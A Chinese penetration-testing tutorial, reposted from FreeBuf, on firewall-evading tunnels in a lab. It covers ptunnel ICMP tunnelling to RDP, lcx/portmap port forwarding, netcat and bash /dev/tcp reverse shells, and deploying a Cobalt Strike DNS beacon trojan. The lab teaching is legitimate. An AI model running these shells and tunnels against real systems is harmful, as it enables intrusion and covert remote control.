知识点

隧道

在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。

代理和隧道技术的区别

代理主要解决网络访问通讯问题(从一个内网到另一个内网)。

隧道技术解决在代理基础之上通讯受阻的问题(被防火墙等检测拦截),达到绕过过滤限制等。

隧道技术解决什么

用单独的通道来传输被拦截的数据。

CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等。

常见的隧道技术

网络层:IPv6隧道、ICMP隧道

传输层:TCP隧道、UDP隧道、常规端口转发

应用层:SSH隧道、HTTP/S隧道、DNS隧道

网络传输应用层检测连通性

1.TCP协议

用“瑞士jundao”netcat,执行nc命令:

nc <IP> <端口> 

2.HTTP协议

用curl工具,执行:

curl <IP地址:端口> 

如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息

3.ICMP协议

用ping命令,执行:

ping <IP地址/域名> 

4.DNS协议

检测DNS连通性常用的命令是nslookup和dig

nslookup是windows自带的DNS探测命令

dig是linux系统自带的DNS探测命令

网络ICMP隧道Ptunnel使用

ptunnel把tcp/udp/sock5流量伪装成icmp流量进行转发

-p ##表示链接icmp隧道另一端的机器IP(目标服务器)
-lp     表示需要监听的本地tcp端口

-da ##指定需要转发的机器的IP(即目标内网某一机器的内网IP)

-dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口)

-x ##设置连接的密码 

ptunnel安装

https://www.cnblogs.com/autopwn/p/14642658.html

Centos7下的安装步骤
#安装libpcap的依赖环境
yum -y install byacc
yum -y install flex bison
#安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
#安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
安装完成之后直接可以执行命令 

实验

环境介绍

image.png
攻击机kali:192.168.184.128

中介机webserver:192.168.184.142(可出网) 192.168.22.128(内网)

目标机DC(windows):192.168.22.130(内网)

打靶

中介机开启隧道,密码为123

ptunnel -x 123 

image.png
攻击机连接隧道

ptunnel -p 192.168.184.142 -lp 2333 -da 192.168.22.130 -dp 3389 -x 123 

image.png
当192.168.184.142(p)收到来自192.168.22.130(da)的3389端口(dp)的数据时,发送到攻击机的1080端口(lp)。反之亦然(在二者之间建立隧道)

攻击机(kali)使用rdesktop进行远程连接

rdesktop 127.0.0.1 2333 

image.png
输入用户名密码登录成功
image.png

传输层转发隧道lcx、Portmap使用

Windows:lcx

Linux:portmap

windows演示

在被攻击机上:
lcx -slave 跳板机IP 6666 127.0.0.1 3389 

将(被攻击机)本地的3389转发到跳板机的6666端口
image.png

在跳板机上(这里需要在跳板机监听才能接收到数据):
lcx -listen 本机端口 映射端口

lcx -listen 6666 7777 

监听6666映射到7777
image.png

在攻击机上(进行远程连接):
rdesktop 跳板机IP:7777 

传输层转发隧道Netcat使用

1.双向连接反弹shell

正向:攻击连接受害

受害:

nc -ldp 1234 -e /bin/sh                                          //linux

nc -ldp 1234 -e c:\windows\system32\cmd.exe    //windows 

将命令行界面(shell/cmd)推到1234端

攻击:

nc 受害机IP 1234                                          //主动连接 

image.png

反向:受害连接攻击

攻击:

监听自己的1234端口

nc -lvp 1234 

受害:

nc 攻击机IP 1234 -e /bin/sh
    
nc 攻击机IP 1234 -e c:\windows\system32\cmd.exe 

image.png

2.多向连接反弹shell-配合转发-反向-portmap

Target2服务器将自己的cmd反弹到Target1的666端口,Target1使用portmap将本地666端口映射到本地777端口,最后由kali(攻击机)连接Target1的777端口

Target2_Ubuntu

bash -i >& /dev/tcp/192.168.22.128/6666 <&1 

image.png

Target1_CentOS

把666端口数据转发到777端口

./portmap -m 1 -p1 6666 -h2 192.168.184.128 -p2 7777 

image.png

kali

nc -lvvp 7777 

image.png

portmap使用

Usage:./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
 -v: version
 -h1: host1
 -h2: host2
 -p1: port1
 -p2: port2
 -log: log the data
 -m: the action method for this tool
 1: listen on PORT1 and connect to HOST2:PORT2
 2: listen on PORT1 and PORT2
 3: connect to HOST1:PORT1 and HOST2:PORT2 

3.相关netcat主要功能

# 指纹服务
nc -nv 192.168.184.142:xxxx

# 端口扫描
nc -v -z 192.168.184.142 1-100

# 端口监听
nc -lvp xxxx

# 文件传输
nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1

# 反弹Shell(见上) 

应用层DNS隧道配合CS上线

当常见协议监听器被拦截时,可以换其他协议上线,其中dns协议上线基本通杀

原理

https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/listener-infrastructue_beacon-dns.htm#_Toc65482740

Cobalt Strike|Beacon原理浅析

Cobalt Strike DNS Beacon 的使用和原理

什么是Beacon

Beacon是Cobalt Strike运行在目标主机上的payload,Beacon在隐蔽信道上我们提供服务,用于长期控制受感染主机。它的工作方式与Metasploit Framework Payload类似。在实际渗透过程中,我们可以将其嵌入到可执行文件、添加到Word文档或者通过利用主机漏洞来传递Beacon

Beacon的功能包括以下几点:

使用HTTP或DNS检查是否有待执行任务

可连接到多个C2域名

能够在分段传输后自动迁移

与Cobalt Strike紧密集成,通过社工、主机漏洞和会话来传递Beacon

Beacon的中文名为信标,像是在网络中告诉我们:“嘿,我是肉鸡,我在这...”。我们可以通过下图来看Beacon的工作原理
image.png

DNS Beacon 的工作过程

image.png
当受害者请求域名对应的ip地址时(通过 shell 或者 钓鱼),会从根域名DNS服务器,一级域名DNS服务器,二级域名DNS服务器...依次向下寻找,直到我们的团队服务器,同时充当DNS服务器,将Beacon返回给团队服务器。DNS响应告诉Beacon休眠或者连接到团队服务器来下载任务。DNS响应同时也告诉Beacon如何从团队服务器下载任务

配置

配置监听器

需要买一个域名修改解析记录如下:

记录类型->主机记录->记录值

A记录->cs主机名->CS服务器IP

NS记录->ns1主机名->A记录地址

NS记录->ns2主机名->A记录地址

image.pngimage.png
这里遇到了坑,创建不了监听器
image.png
一直说地址被占用,搞了好久,发现是我云服务器的53端口被占用了,关掉就好了
image.png
很奇怪的是,我和赵师傅都有这个进程,他就能创,我却不能,就很玄学。问了黄师傅说是有些服务有关联性,有的服务运行有优先级啥的,也说不准,只能说盲猜QAQ。

生成木马

Windows Executable      生成32位或64位的exe和基于服务的exe、DLL等后门程序

Windows Executable(S)    用于生成一个exe可执行文件,其中包含Beacon的完整payload,不需要阶段性的请求。与Windows Executable模块相比,该模块额外提供了代理设置,以便在较为苛刻的环境中进行渗透测试。该模块还支持powershell脚本,可用于将Stageless Payload注入内存

image.pngimage.png

利用

当受害者主机运行我们的木马后,便会有一个unknown主机上线
image.png
interact进去后,输入如下命令进行配置

beacon> checkin
[*] Tasked beacon to checkin
beacon> mode dns-txt
[+] data channel set to DNS-TXT
[+] host called home, sent: 8 bytes 

出现如下图的样子,就说明受害主机真正成功上线

接下来就可以执行命令了
image.png
这里还遇到另外一个坑,就是当时弄的时候用的学校网络,导致输入命令没有回显,换了手机热点就行了,真的吐了。

参考

关闭linux系统的53端口

Linux systemd-resolve占用53端口的解决方法

资源

portmap+lcx.exe下载

本文作者:1ceC0la, 转自FreeBuf